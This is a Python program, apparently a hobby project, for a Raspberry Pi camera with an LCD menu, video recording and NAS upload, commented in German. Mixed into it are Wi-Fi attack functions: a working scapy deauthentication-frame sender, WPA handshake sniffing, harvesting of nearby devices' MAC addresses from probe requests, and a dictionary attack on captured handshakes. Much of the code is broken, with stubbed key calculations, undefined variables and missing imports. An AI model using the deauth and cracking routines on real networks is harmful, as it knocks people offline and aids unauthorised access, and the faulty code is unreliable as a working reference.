RaZero_Cam.py 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import threading
  4. import time
  5. import RPi.GPIO as GPIO
  6. import LCD_1in44
  7. import LCD_Config
  8. import cv2
  9. import json
  10. import os
  11. import shutil
  12. import subprocess
  13. import picamera
  14. from PIL import Image, ImageDraw
  15. from scapy.all import RadioTap, Dot11, Dot11Deauth, sendp
  16. class RaZero:
  17. # Der Konstruktor der Klasse, in dem die Initialisierung der GPIO-Pins, des Displays, der Kamera und anderer Variablen durchgeführt wird.
  18. def __init__(self):
  19. self.load_configuration("config.json") # Konfiguration laden
  20. # Initialisierung des Displays
  21. Lcd_ScanDir = LCD_1in44.SCAN_DIR_DFT
  22. self.LCD = LCD_1in44.LCD()
  23. self.LCD.LCD_Init(Lcd_ScanDir)
  24. # Kamera initialisieren
  25. self.camera = picamera.PiCamera()
  26. self.camera.resolution = self.video_resolution # Kameraauflösung
  27. self.display_width = 128
  28. self.display_height = 128
  29. self.init_gpio() # GPIO initialisieren
  30. # Eingabegerät über evdev initialisieren
  31. #self.evdev_device = evdev.InputDevice('/dev/input/eventX') # Ersetzen Sie 'eventX' durch den tatsächlichen Gerätepfad
  32. # Initialisierung von Variablen
  33. self.recording = False
  34. self.display_on = True
  35. self.menu_active = False
  36. self.current_menu = []
  37. self.menu_index = 0
  38. # Menüstruktur aus JSON-Datei laden
  39. self.load_menu_from_json("menu_structure.json")
  40. # Lock für Thread-Synchronisation
  41. self.lock = threading.Lock()
  42. self.record_interval = 300 # Aufnahmeintervall in Sekunden
  43. self.last_record_time = time.time()
  44. self.filters = {
  45. "none": None,
  46. "black_and_white": "none",
  47. "polaroid": "polaroid",
  48. "infrared": "negative",
  49. "blacklight": "negative",
  50. "oversaturated": "colorbalance:s=2",
  51. "overexposed": "brightness:120",
  52. "underexposed": "brightness:80",
  53. }
  54. self.active_filter = "none" # Aktuell ausgewählter Filter
  55. self.init_gpio() # GPIO initialisieren
  56. def load_configuration(self, config_file):
  57. """
  58. Lädt die Konfiguration aus der JSON-Datei.
  59. """
  60. with open(config_file, "r") as f:
  61. config = json.load(f)
  62. self.nas_address = config["nas_address"]
  63. self.local_mount_path = config["local_mount_path"]
  64. self.record_interval = config["record_interval"]
  65. self.menu_file = config["menu_file"]
  66. self.delete_after_upload = config["delete_after_upload"]
  67. self.video_resolution = tuple(config["video_resolution"])
  68. self.video_fps = config["video_fps"]
  69. self.pins = config["pins"]
  70. def init_gpio(self):
  71. """
  72. Initialisiert die GPIO-Pins für die Buttons.
  73. """
  74. GPIO.setmode(GPIO.BCM)
  75. for pin_name, pin_number in self.pins.items():
  76. GPIO.setup(pin_number, GPIO.IN, pull_up_down=GPIO.PUD_UP)
  77. def load_menu_from_json(self, filename):
  78. """
  79. Lädt die Menüstruktur aus einer JSON-Datei.
  80. :param filename: Der Name der JSON-Datei.
  81. """
  82. with open(filename, "r") as file:
  83. self.menu_structure = json.load(file) # Menüstruktur aus JSON laden
  84. def display_menu(self):
  85. """
  86. Zeigt das Menü auf dem Display an, einschließlich Symbolen und Untermenüs.
  87. """
  88. if not self.menu_active:
  89. return
  90. self.LCD.LCD_Clear() # Display löschen
  91. menu_item = self.current_menu[self.menu_index] # Aktuellen Menüpunkt abrufen
  92. self.LCD.LCD_ShowString(menu_item["DisplayName"], 10, 10) # Menüpunkt-Text anzeigen
  93. if self.recording:
  94. # Zeichnen Sie einen roten Kreis, wenn die Aufnahme läuft
  95. self.draw_recording_indicator()
  96. # Weitere Anzeigen für Symbole und Untermenüs hier hinzufügen
  97. def draw_recording_indicator(self):
  98. """
  99. Zeichnet einen roten Kreis auf dem Display als Indikator für laufende Aufnahmen.
  100. """
  101. image = Image.new("RGB", (self.LCD.width, self.LCD.height)) # Leeres Bild erstellen
  102. draw = ImageDraw.Draw(image) # Zeichnen-Objekt erstellen
  103. # Koordinaten für das Zeichnen des roten Kreises (untere rechte Ecke)
  104. circle_x = self.LCD.width - 12
  105. circle_y = self.LCD.height - 12
  106. circle_radius = 6
  107. # Kreis zeichnen
  108. draw.ellipse((circle_x - circle_radius, circle_y - circle_radius,
  109. circle_x + circle_radius, circle_y + circle_radius), fill="red")
  110. self.LCD.LCD_ShowImage(image) # Bild auf dem Display anzeigen
  111. def update_menu_index(self, direction):
  112. """
  113. Aktualisiert den Index des aktuellen Menüpunkts basierend auf der Richtung der Tastenbetätigung.
  114. :param direction: Die Richtung der Tastenbetätigung ('up' oder 'down').
  115. """
  116. if direction == "up":
  117. self.menu_index = (self.menu_index - 1) % len(self.current_menu) # Index verringern (zirkulär)
  118. elif direction == "down":
  119. self.menu_index = (self.menu_index + 1) % len(self.current_menu) # Index erhöhen (zirkulär)
  120. def handle_menu_select(self):
  121. """
  122. Verarbeitet die Auswahl eines Menüpunkts, entweder durch Anzeigen von Untermenüs
  123. oder Durchführen von Aktionen.
  124. """
  125. if not self.menu_active: # Menü ist nicht aktiv, schalte es ein
  126. self.menu_active = True
  127. self.current_menu = self.menu_structure # Setze das aktuelle Menü auf das Hauptmenü
  128. else: # Menü ist aktiv, verarbeite Auswahl
  129. menu_item = self.current_menu[self.menu_index]
  130. if "Submenu" in menu_item: # Wenn der Menüpunkt ein Untermenü hat
  131. self.current_menu = menu_item["Submenu"] # Wechsle zum Untermenü
  132. self.menu_index = 0 # Setze den Index auf den ersten Menüpunkt im Untermenü
  133. elif "Action" in menu_item: # Wenn der Menüpunkt eine Aktion hat
  134. self.perform_menu_action(menu_item["Action"]) # Führe die Aktion aus
  135. def handle_menu_navigation(self, direction):
  136. """
  137. Verarbeitet die Navigation im Menü, einschließlich des Zurückkehrens zu übergeordneten Menüpunkten.
  138. :param direction: Die Richtung der Tastenbetätigung ('left' oder 'right').
  139. """
  140. if direction == "left":
  141. if self.menu_active:
  142. self.menu_active = False # Menü deaktivieren, um zur Hauptanzeige zurückzukehren
  143. self.current_menu = [] # Setze das aktuelle Menü zurück
  144. else:
  145. self.display_on = True # Display einschalten, wenn es ausgeschaltet war
  146. elif direction == "right":
  147. menu_item = self.current_menu[self.menu_index]
  148. if "Submenu" in menu_item: # Wenn der Menüpunkt ein Untermenü hat
  149. self.current_menu = menu_item["Submenu"] # Wechsle zum Untermenü
  150. self.menu_index = 0 # Setze den Index auf den ersten Menüpunkt im Untermenü
  151. def perform_menu_action(self, action):
  152. """
  153. Führt die Aktion eines ausgewählten Menüpunkts aus.
  154. :param action: Die Aktion, die ausgeführt werden soll.
  155. """
  156. if action == "start_recording": # Beispiel: Aktion zum Starten der Aufnahme
  157. if not self.recording: # Wenn die Aufnahme nicht läuft
  158. self.recording = True # Aufnahme starten
  159. elif action == "stop_recording": # Beispiel: Aktion zum Beenden der Aufnahme
  160. if self.recording: # Wenn die Aufnahme läuft
  161. self.recording = False # Aufnahme beenden
  162. elif action == "turn_off_display": # Beispiel: Aktion zum Ausschalten des Displays
  163. self.display_on = False # Display ausschalten
  164. # Fügen Sie hier weitere Aktionen hinzu, die Sie definiert haben
  165. def record_thread(self):
  166. """
  167. Überwacht die Tasten und startet oder beendet die Aufnahme basierend auf den Benutzerinteraktionen.
  168. Führt die Aufnahme in Intervallen von self.record_interval aus.
  169. """
  170. while True:
  171. with self.lock:
  172. current_time = time.time()
  173. if self.recording:
  174. if current_time - self.last_record_time >= self.record_interval:
  175. self.camera.stop_recording() # Aktuelle Aufnahme beenden
  176. timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
  177. filename = f"video_{timestamp}.mp4"
  178. source_path = filename
  179. self.set_exif_data() # Exif-Daten setzen
  180. self.apply_filter(self.active_filter) # Filter anwenden
  181. self.camera.start_recording(source_path, format="h264", quality=23,
  182. resolution=self.video_resolution, framerate=self.video_fps)
  183. self.last_record_time = current_time
  184. else:
  185. self.camera.stop_recording() # Aufnahme beenden
  186. time.sleep(0.1) # Kurze Verzögerung, um die CPU-Belastung zu reduzieren
  187. def display_thread(self):
  188. """
  189. Überwacht den Tastendruck des Display-Buttons und schaltet das Display ein oder aus.
  190. """
  191. while True:
  192. with self.lock:
  193. if not self.display_on: # Wenn das Display ausgeschaltet ist
  194. self.LCD.LCD_Clear() # Display löschen
  195. time.sleep(0.1) # Kurze Verzögerung, um die CPU-Belastung zu reduzieren
  196. # Überprüfen Sie den Tastendruck auf den Display-Button
  197. if GPIO.input(self.KEY3_PIN) == GPIO.LOW:
  198. self.display_on = not self.display_on # Schalte den Display-Zustand um
  199. time.sleep(0.2) # Vermeiden Sie mehrfache Tastendrücke in schneller Folge
  200. def menu_thread(self):
  201. """
  202. Überwacht die Tasten für die Menünavigation und -auswahl, zeigt das Menü an
  203. und verarbeitet Benutzeraktionen.
  204. """
  205. while True:
  206. with self.lock:
  207. if self.menu_active: # Wenn das Menü aktiv ist
  208. self.display_menu() # Menü anzeigen
  209. # Überprüfen Sie den Tastendruck auf die Menünavigation und -auswahl
  210. if GPIO.input(self.KEY_UP_PIN) == GPIO.LOW:
  211. self.update_menu_index("up") # Menüpunkt nach oben wechseln
  212. time.sleep(0.2)
  213. elif GPIO.input(self.KEY_DOWN_PIN) == GPIO.LOW:
  214. self.update_menu_index("down") # Menüpunkt nach unten wechseln
  215. time.sleep(0.2)
  216. elif GPIO.input(self.KEY_LEFT_PIN) == GPIO.LOW:
  217. self.handle_menu_navigation("left") # Zurück oder Display einschalten
  218. time.sleep(0.2)
  219. elif GPIO.input(self.KEY_RIGHT_PIN) == GPIO.LOW:
  220. self.handle_menu_navigation("right") # Untermenü anzeigen
  221. time.sleep(0.2)
  222. elif GPIO.input(self.KEY_PRESS_PIN) == GPIO.LOW:
  223. self.handle_menu_select() # Menüpunkt auswählen
  224. time.sleep(0.2)
  225. else:
  226. self.display_menu() # Menü anzeigen
  227. # Überprüfen Sie den Tastendruck auf die Menünavigation und -auswahl
  228. if GPIO.input(self.KEY3_PIN) == GPIO.LOW:
  229. self.menu_active = True # Menü aktivieren
  230. time.sleep(0.2)
  231. def capture_scaled_image(self):
  232. """
  233. Erfasst das Kamerabild, skaliert es auf die Displaygröße und gibt das Bild zurück.
  234. :return: Das skalierte Kamerabild als PIL-Bildobjekt.
  235. """
  236. stream = io.BytesIO() # Erstellen Sie einen BytesIO-Stream zum Speichern des Bilds
  237. self.camera.capture(stream, format='jpeg', use_video_port=True) # Kamerabild aufnehmen
  238. # BytesIO-Stream zurück auf den Anfang setzen und PIL-Bildobjekt erstellen
  239. stream.seek(0)
  240. image = Image.open(stream)
  241. # Skalieren Sie das Bild auf die Displaygröße
  242. image = image.resize((self.display_width, self.display_height), Image.ANTIALIAS)
  243. return image
  244. def set_exif_data(self):
  245. """
  246. Setzt die Exif-Daten für das aufgenommene Bild basierend auf den Einstellungen.
  247. """
  248. exif_data = {
  249. # Fügen Sie hier Ihre gewünschten Exif-Daten hinzu
  250. TAGS['Artist']: 'Ihr Name',
  251. TAGS['Copyright']: 'Ihr Copyright-Vermerk',
  252. TAGS['DateTime']: datetime.datetime.now().strftime('%Y:%m:%d %H:%M:%S'),
  253. # Weitere Exif-Tags können hier hinzugefügt werden
  254. }
  255. self.camera._set_metadata(exif_data)
  256. def apply_filter(self, filter_name):
  257. """
  258. Wendet den ausgewählten Filter auf die Kamera an.
  259. """
  260. filter_option = self.filters[filter_name]
  261. if filter_option is None:
  262. self.camera.image_effect = "none"
  263. else:
  264. self.camera.image_effect = filter_option
  265. def check_nas_availability(self, nas_address):
  266. """
  267. Überprüft die Verfügbarkeit des NAS-Servers.
  268. """
  269. try:
  270. subprocess.check_output(["ping", "-c", "1", nas_address]) # Beispiel für Linux
  271. return True
  272. except subprocess.CalledProcessError:
  273. return False
  274. def mount_nas(self, nas_address, local_mount_path):
  275. """
  276. Mountet das NAS-Verzeichnis.
  277. """
  278. subprocess.run(["mount", "-t", "cifs", f"//{nas_address}/share", local_mount_path])
  279. # Der Befehl oben ist ein Beispiel für ein CIFS-Share, bitte anpassen
  280. def upload_pending(self, nas_directory):
  281. """
  282. Lädt ausstehende Videodateien auf den NAS-Server hoch und entfernt sie danach.
  283. """
  284. if self.check_nas_availability(self.nas_address):
  285. for source_path in self.pending_upload:
  286. filename = os.path.basename(source_path)
  287. video_date = filename.split("_")[1] # Extrahieren des Datums aus dem Dateinamen
  288. target_directory = os.path.join(nas_directory, video_date)
  289. self.create_directory(target_directory) # Verzeichnis auf NAS erstellen
  290. self.upload_video(source_path, target_directory) # Video kopieren und entfernen
  291. if self.delete_after_upload:
  292. os.remove(source_path) # Datei löschen nach erfolgreichem Upload
  293. self.pending_upload.remove(source_path) # Aus der Warteschlange entfernen
  294. else:
  295. print("NAS Server ist nicht verfügbar.")
  296. def add_to_pending_upload(self, source_path):
  297. """
  298. Fügt eine Videodatei zur Warteschlange für das Hochladen hinzu.
  299. """
  300. self.pending_upload.append(source_path)
  301. def upload_video(self, source_path, target_directory):
  302. """
  303. Kopiert eine Videodatei auf den NAS-Server und entfernt sie danach.
  304. """
  305. filename = os.path.basename(source_path)
  306. target_path = os.path.join(target_directory, filename)
  307. if not os.path.exists(target_path):
  308. shutil.copy2(source_path, target_path) # Kopieren der Datei
  309. os.remove(source_path) # Entfernen der Datei von der Kamera
  310. def create_directory(self, directory_path):
  311. """
  312. Erstellt das Verzeichnis, wenn es nicht existiert.
  313. """
  314. if not os.path.exists(directory_path):
  315. os.makedirs(directory_path)
  316. def scan_wifi(self):
  317. """
  318. Scannt verfügbare WLAN-Netzwerke und zeigt das stärkste Signal auf dem Display an.
  319. """
  320. wifi_scan_result = subprocess.check_output(["sudo", "iwlist", "wlan0", "scan"], universal_newlines=True)
  321. networks = self.parse_wifi_scan_result(wifi_scan_result)
  322. if networks:
  323. strongest_network = max(networks, key=lambda x: x["SignalStrength"])
  324. self.display_wifi_info(strongest_network)
  325. self.current_menu.extend(networks) # Füge die Netzwerke dem Menü hinzu
  326. self.current_menu_index = len(self.menu) # Setze den Index auf das erste Netzwerk
  327. self.display_menu()
  328. else:
  329. self.display_message("Keine WLAN-Netzwerke gefunden.")
  330. def parse_wifi_scan_result(self, scan_result):
  331. """
  332. Analysiert den Scan-Ergebnis-Text und gibt eine Liste von WLAN-Netzwerken zurück.
  333. """
  334. networks = []
  335. lines = scan_result.split("\n")
  336. network = {}
  337. for line in lines:
  338. if "Cell" in line:
  339. if network:
  340. networks.append(network)
  341. network = {}
  342. elif "ESSID" in line:
  343. network["SSID"] = line.split(":")[1].strip().strip("\"")
  344. elif "Signal level" in line:
  345. signal_strength = int(line.split("=")[1].split()[0])
  346. network["SignalStrength"] = signal_strength
  347. return networks
  348. def display_wifi_info(self, network):
  349. """
  350. Zeigt die WLAN-Informationen auf dem Display an.
  351. """
  352. # Hier implementieren Sie den Code, um die WLAN-Informationen anzuzeigen.
  353. pass
  354. def send_deauth_packet(self, bssid, client_mac, count=1):
  355. """
  356. Sendet Deauth-Pakete an einen Client oder Access Point.
  357. """
  358. deauth_packet = RadioTap() / Dot11(type=0, subtype=12, addr1=client_mac, addr2=bssid, addr3=bssid) / Dot11Deauth()
  359. for _ in range(count):
  360. sendp(deauth_packet, iface="wlan0", verbose=False)
  361. def record_handshake(self, bssid):
  362. """
  363. Aufzeichnung eines WLAN-Handshakes.
  364. """
  365. #bssid = "Ziel_BSSID"
  366. #client_mac = "Client_MAC"
  367. handshake_packets = []
  368. def packet_handler(pkt):
  369. if pkt.haslayer(Dot11):
  370. #if pkt.addr1 == client_mac and pkt.addr2 == bssid:
  371. if pkt.addr2 == bssid:
  372. handshake_packets.append(pkt)
  373. if len(handshake_packets) >= 4:
  374. self.save_handshake_packets(handshake_packets)
  375. print("Handshake aufgezeichnet!")
  376. return True
  377. sniff(iface="wlan0", prn=packet_handler, count=0)
  378. def save_handshake_packets(self, packets):
  379. """
  380. Speichert die aufgezeichneten Handshake-Pakete in eine Datei.
  381. """
  382. with open("handshake.pcap", "wb") as f:
  383. for pkt in packets:
  384. f.write(pkt)
  385. def collect_client_macs(self):
  386. """
  387. Sammelt MAC-Adressen von Geräten in der Nähe.
  388. """
  389. client_macs = []
  390. def packet_handler(pkt):
  391. if pkt.haslayer(Dot11):
  392. if pkt.type == 0 and pkt.subtype == 4: # Probe Request
  393. client_mac = pkt.addr2
  394. if client_mac not in client_macs:
  395. client_macs.append(client_mac)
  396. #print("Neues Gerät erkannt:", client_mac)
  397. sniff(iface="wlan0mon", prn=packet_handler, count=0)
  398. return client_macs
  399. def check_passwords(self, handshake_filename, passwords_filename):
  400. """
  401. Überprüft Passwörter aus einem Wörterbuch auf Übereinstimmung mit dem Handshake.
  402. """
  403. with open(handshake_filename, "rb") as f:
  404. handshake_data = f.read()
  405. with open(passwords_filename, "r") as f:
  406. passwords = f.read().splitlines()
  407. for password in passwords:
  408. if self.check_password(handshake_data, password):
  409. print("Passwort gefunden:", password)
  410. return password # Passwort gefunden, beenden Sie die Schleife
  411. print("Kein übereinstimmendes Passwort gefunden.")
  412. return None
  413. def check_password(self, handshake_data, password):
  414. """
  415. Überprüft ein Passwort auf Übereinstimmung mit dem Handshake.
  416. """
  417. # Berechnen Sie den Hash des Passworts und vergleichen Sie mit dem Handshake
  418. hash_calculated = hashlib.pbkdf2_hmac("sha1", password.encode(), ssid.encode(), 4096, 32)
  419. pmk = self.calculate_pmk(hash_calculated)
  420. ptk = self.calculate_ptk(handshake_data, pmk)
  421. calculated_mic = self.calculate_mic(ptk, handshake_data)
  422. # Vergleichen Sie den berechneten MIC mit dem MIC im Handshake
  423. # Hier hängt es von der Struktur des Handshake-Datenformats ab
  424. if calculated_mic == handshake_mic:
  425. return True
  426. else:
  427. return False
  428. def calculate_pmk(self, password):
  429. """
  430. Berechnet den Pairwise Master Key (PMK) aus dem Passwort.
  431. """
  432. return hashlib.pbkdf2_hmac("sha1", password.encode("utf-8"), ssid.encode("utf-8"), 4096, 32)
  433. def calculate_ptk(self, handshake_data, pmk):
  434. """
  435. Berechnet den Pairwise Transient Key (PTK) aus dem Handshake und dem PMK.
  436. """
  437. # Hier benötigen Sie den genauen Algorithmus zur Berechnung des PTK
  438. # Basierend auf dem Handshake-Datenformat und dem PMK
  439. pass
  440. def calculate_mic(self, ptk, handshake_data):
  441. """
  442. Berechnet den Message Integrity Code (MIC) aus dem PTK und dem Handshake.
  443. """
  444. # Hier benötigen Sie den genauen Algorithmus zur Berechnung des MIC
  445. # Basierend auf dem PTK und dem Handshake-Datenformat
  446. pass
  447. def run(self):
  448. """
  449. Startet die Threads für Aufnahme, Display und Menü und lässt die Anwendung laufen.
  450. """
  451. nas_address = "NAS_IP_Adresse" # Hier die tatsächliche IP-Adresse des NAS eintragen
  452. local_mount_path = "/pfad/zum/lokalen/mount" # Lokaler Pfad zum Mounten des NAS
  453. self.pending_upload = [] # Liste der Videodateien, die auf das Hochladen warten
  454. record_thread = threading.Thread(target=self.record_thread) # Aufnahme-Thread
  455. display_thread = threading.Thread(target=self.display_thread) # Display-Thread
  456. menu_thread = threading.Thread(target=self.menu_thread) # Menü-Thread
  457. record_thread.daemon = True
  458. display_thread.daemon = True
  459. menu_thread.daemon = True
  460. record_thread.start()
  461. display_thread.start()
  462. menu_thread.start()
  463. try:
  464. while True:
  465. # Hauptprogrammschleife
  466. pass
  467. except KeyboardInterrupt:
  468. # Programm beenden, wenn eine Tastaturunterbrechung erfolgt
  469. GPIO.cleanup() # GPIO-Pins aufräumen
  470. if __name__ == "__main__":
  471. app = RaZero()
  472. app.run()